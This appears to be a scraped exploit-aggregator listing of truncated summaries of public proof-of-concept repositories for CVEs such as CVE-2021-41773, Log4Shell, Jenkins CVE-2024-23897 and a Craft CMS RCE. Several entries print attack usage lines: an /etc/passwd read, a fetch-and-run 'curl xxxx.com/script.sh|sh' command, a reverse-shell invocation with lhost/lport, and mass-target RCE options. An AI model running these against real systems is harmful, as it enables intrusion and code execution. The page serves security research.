Exploit-PoC-para-CVE-2024-30085

🚨 CVE-2024-30085 的 Exploit PoC 针对权限提升漏洞 CVE-2024-30085 的概念验证漏洞利用代码。仅用于教育和安全研究目的。 ⚠️ 法律警告 仅限教育用途 ✅ 授权的安全研究 ✅ 受控实验室 ✅ 网络安全教育 ❌ 未经授权的系统 ❌ 恶意活动 💰 支持本项目 ₿ 欢迎比特币捐赠！ root@kitploit: ┌─────────────────────────────────────┐ │ ₿ Dirección de Donación BTC ₿ │ ├─────────────────────────────────────┤ │ │ │...

Vulnerability_PoC

一些有趣漏洞的 PoC/Exploit 作者：Numen Cyber Labs 漏洞研究团队 1. TCP/IP RCE 漏洞（CVE-2022–34718）PoC 还原与分析 https://medium.com/@numencyberlabs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf 2. CVE-2022–36537 漏洞技术分析与 Exploit...

CVE-2021-41773

CVE-2021-41773 Poc CVE-2021-41773 - 启用了CGI的Apache 2.4.49 使用： root@kitploit: chmod -x CVE-2021-41773.sh ./CVE-2021-41773.sh http://ip:port/ /etc/passwd 参考资料 https://nvd.nist.gov/vuln/detail/CVE-2021-41773 https://vulners.com/cve/CVE-2021-41773...

cve-2022-3602

cve-2022-3602 PoC ./a.out xn--python -c 'print"A"529'...

CVE-2025-1337-PoC

CVE-2025-1337 的 PoC 针对 LogServ v1.2 服务中远程代码执行（RCE）漏洞的概念验证。 漏洞详情 CVE: CVE-2025-1337 软件: LogServ v1.2 类型: 对 sessiondata cookie 中会话对象的不安全反序列化 影响: 未经身份验证的攻击者可发送恶意 cookie 以在服务器上执行任意代码。 状态 该脚本可运行但不稳定。请勿在真实环境中使用。...

ThinkAdmin-CVE-2020-25540

ThinkAdmin-CVE-2020-25540 ThinkAdmin CVE-2020-25540 の POC（概念実証） root@kitploit: Usage root@kitploit: $ python3 exploit.py -t -c...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

CVE-2024-56145-craftcms-rce

スクリプトを再度実行する前に、次のコマンドを実行してください： fuser -k 6666/tcp 使用方法 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 カスタムコマンドも使用できます。例：python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i はあなたのIPまたはVPSのIPです（ipconfig / ifconfig で確認できます）。 例：python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t...

log4j-poc

log4j-poc CVE-2021-44228 Log4Shell 用の LDAP RCE エクスプロイト 説明 ポート8080のデモTomcat 8サーバーには、脆弱なアプリケーション（log4shell）がデプロイされており、サーバーはUser-Agent攻撃に対しても脆弱です。 このデモのリモートエクスプロイトアプリは、https://github.com/kozmer/log4j-shell-poc にあるものに基づいています。 このデモTomcatサーバー（Tomcat 8.5.3、Java...

CVE-2024-23897

Anant 的修改 修复了读取类似 /etc/os-release 等文件时内容被剥离的问题 新增对已认证会话的支持：可通过命令行参数提供用户名和密码 root@kitploit: usage: jenkinsfileread.py -h -u URL -a USERAGENT -f FILE -t TIMEOUT -s -o -p PROXY -v --username USERNAME --password PASSWORD POC for CVE-2024-23897 Jenkins file read options: -h, --help show this help...

kassandra_x33fcon_2026

kassandrax33fcon2026 本仓库包含在 x33fcon 2026 上展示的 PoC 工具，以及随附的演示幻灯片。这些内容仅供研究和教育目的使用。...

cve-2022-0185-crash-poc

运行 cve-2022-0185 崩溃 POC 的容器 这是一个 Docker 容器，运行 崩溃 POC，来源于 https://www.willsroot.io/2022/01/cve-2022-0185.html。 该容器以 UID 65534 的非特权身份运行。你也可以使用 docker run -u 或额外设置 RunAsUser 安全上下文，所有方式都会产生相同 的结果。 运行它 需要明确的是，如果你的系统存在漏洞，这将会使你的服务器崩溃！ Docker docker run docker.io/fish/cve-2022-0185-crash-poc 你也可以自行构建：...

CVE-2025-54110-Kernel-EoP-PoC

CVE-2025-54110-Kernel-EoP-PoC CVE-2025-54110 利用代码实现——Windows NtQueryDirectoryObject 系统调用中的内核级整数溢出漏洞。 CVE-2025-54110 - Windows 内核整数溢出分析 CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110 本仓库包含针对 CVE-2025-54110 内核权限提升漏洞的仅崩溃 PoC ，专为安全研究、逆向工程和利用开发研究 而开发。该代码旨在演示漏洞研究技术，包括： 使用...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 的测试 POC...

CVE-2020-0910

CVE-2020-0910 動作するエクスプロイトPoC CVE-2020-0910 - Reverse Bind Shell Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

Out-FINcodedCommand

Out-FINcodedCommand v1.0 Introduction Out-FINcodedCommand is a PowerShell v2.0+ compatible PowerShell POC script designed to highlight several obfuscation techniques used by FIN threat actors. The primary obfuscation techniques highlighted in this tool are: 1. cmd.exe's variable char/string...

CVE-2014-4076

CVE-2014-4076 PoC このProof of Concept（PoC）は、オリジナルのPythonバージョンから直接コピーされ、C++で書き直されました。 ビルド このプロジェクトはVisual Studio 2013 Update 4でビルドされています。 注意 Administratorsグループのユーザーのみがデバイスを開いてIO制御を実行できます。つまり、このエクスプロイトはAdministratorsをSYSTEMに昇格させるのみで、ウェブシェル環境では全く役に立ちません 。 @KingsleyChen氏のご協力に感謝します。...

CVE-2023-29007

CVE-2023-29007 CVE-2023-29007 的概念验证仓库 更多信息请访问： https://blog.ethiack.com/en/blog/git-arbitrary-configuration-injection-cve-2023-29007 https://github.blog/2023-04-25-git-security-vulnerabilities-announced-4/ https://github.com/git/git/security/advisories/GHSA-v48j-4xgg-4844...

POC

POC POC 报告...

CVE-2020-14750

CVE-2020-14750 针对 CVE-2020-14750 和 cve-2020-14882 漏洞的 PoC 测试系统是否易受攻击，使用： ./test-CVE-2020-14750 nombredelhost:7001 目前，在此版本中，仅能保证主机是否易受攻击；如果结果为阴性，并不能保证不易受攻击，将在后续版本中实现。 更新：能够根据响应区分主机是否易受攻击或测试失败。 要利用该漏洞，我们需要将第一个参数传递为主机，包括端口，格式为 "host:port"，后续参数为要执行的命令，例如 "ifconfig lo" 即： ./CVE-2020-14750...